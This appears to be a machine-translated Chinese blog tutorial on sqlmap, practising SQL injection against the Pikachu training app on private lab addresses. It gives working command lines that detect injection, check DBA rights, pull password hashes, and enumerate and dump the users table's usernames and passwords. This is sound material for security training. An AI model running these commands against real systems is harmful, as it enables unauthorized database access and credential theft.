当前位置:网站首页>Sqlmap tutorial (II) practical skills I
Sqlmap tutorial (II) practical skills I
2022-07-05 06:06:00 【A τθ】
One 、 Detection Injection
testing URL GET Whether there is injection of parameters :
-u Tested url
"" Double quotes , Indicates that this is a string .
--dbms Specify the data engine of the attack
-v Output information is registered as 1
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1
After typing sqlmap Will automatically inject , But there will be some prompts , You need to confirm at the terminal , If you use --batch The default operation will be performed automatically , There is no need to determine the interactive information .
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 --batch
Two 、 Get sensitive information
After confirming the existence of Injection , Then, get the information through the command of getting sensitive information
--current-user Users connected by users ;
--currnet-db Current library ;
--dbs Get all libraries ;
--is-dba whether root jurisdiction ;
--passwords Get the password of the database .
Use this command sqlmap When you find the ciphertext , Will prompt you whether to hash Crack , If you need to choose the right dictionary .
eg:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql --current-user --current-db --is-dba --passwords -v 1 --batch
3、 ... and 、 Get the table
Get the current library , You can list tables according to the Library .
-D Specify the library ;
--tables List all the tables .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu --tables
Four 、 Get the fields of the table
Get all the fields of a table .
-T Specify a table ;
--columns Get field .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns
5、 ... and 、 get data
--dump Export all contents of data ;
--dump -C "username,password" Get the contents of the field ;
Get all field contents of the specified table :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns --dump
Get the specified table 、 Specify field content .
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users -C "id,username,password" --dump
6、 ... and 、 Get the specified number
Get the total number :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --count
Get specified id Number of pieces :
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --dump --start 2 --stop 3
7、 ... and 、 Delete cache file
Parameters :--flush-session
If you don't want to use the previous cache of this target session file , You can use this parameter . Will empty the previous session, Retest the goal .
边栏推荐
- 1039 Course List for Student
- 【Jailhouse 文章】Performance measurements for hypervisors on embedded ARM processors
- Flutter Web 硬件键盘监听
- MatrixDB v4.5.0 重磅发布,全新推出 MARS2 存储引擎!
- Individual game 12
- 剑指 Offer II 058:日程表
- wordpress切换页面,域名变回了IP地址
- 【Rust 笔记】14-集合(下)
- Simple knapsack, queue and stack with deque
- Light a light with stm32
猜你喜欢
Sword finger offer 05 Replace spaces
Some common problems in the assessment of network engineers: WLAN, BGP, switch
redis发布订阅命令行实现
CCPC Weihai 2021m eight hundred and ten thousand nine hundred and seventy-five
Spark中groupByKey() 和 reduceByKey() 和combineByKey()
wordpress切换页面,域名变回了IP地址
Sword finger offer 53 - I. find the number I in the sorted array
MatrixDB v4.5.0 重磅发布,全新推出 MARS2 存储引擎!
Dichotomy, discretization, etc
Educational Codeforces Round 116 (Rated for Div. 2) E. Arena
随机推荐
One question per day 2047 Number of valid words in the sentence
In this indifferent world, light crying
Configuration and startup of kubedm series-02-kubelet
Codeforces Round #732 (Div. 2) D. AquaMoon and Chess
Time of process
QT判断界面当前点击的按钮和当前鼠标坐标
【Rust 笔记】16-输入与输出(下)
LVS简介【暂未完成(半成品)】
1039 Course List for Student
1040 Longest Symmetric String
Individual game 12
PC register
Appium automation test foundation - Summary of appium test environment construction
数据可视化图表总结(二)
How to adjust bugs in general projects ----- take you through the whole process by hand
Educational codeforces round 109 (rated for Div. 2) C. robot collisions D. armchairs
Sword finger offer 05 Replace spaces
Arduino 控制的 RGB LED 无限镜
Règlement sur la sécurité des réseaux dans les écoles professionnelles secondaires du concours de compétences des écoles professionnelles de la province de Guizhou en 2022
Flutter Web 硬件键盘监听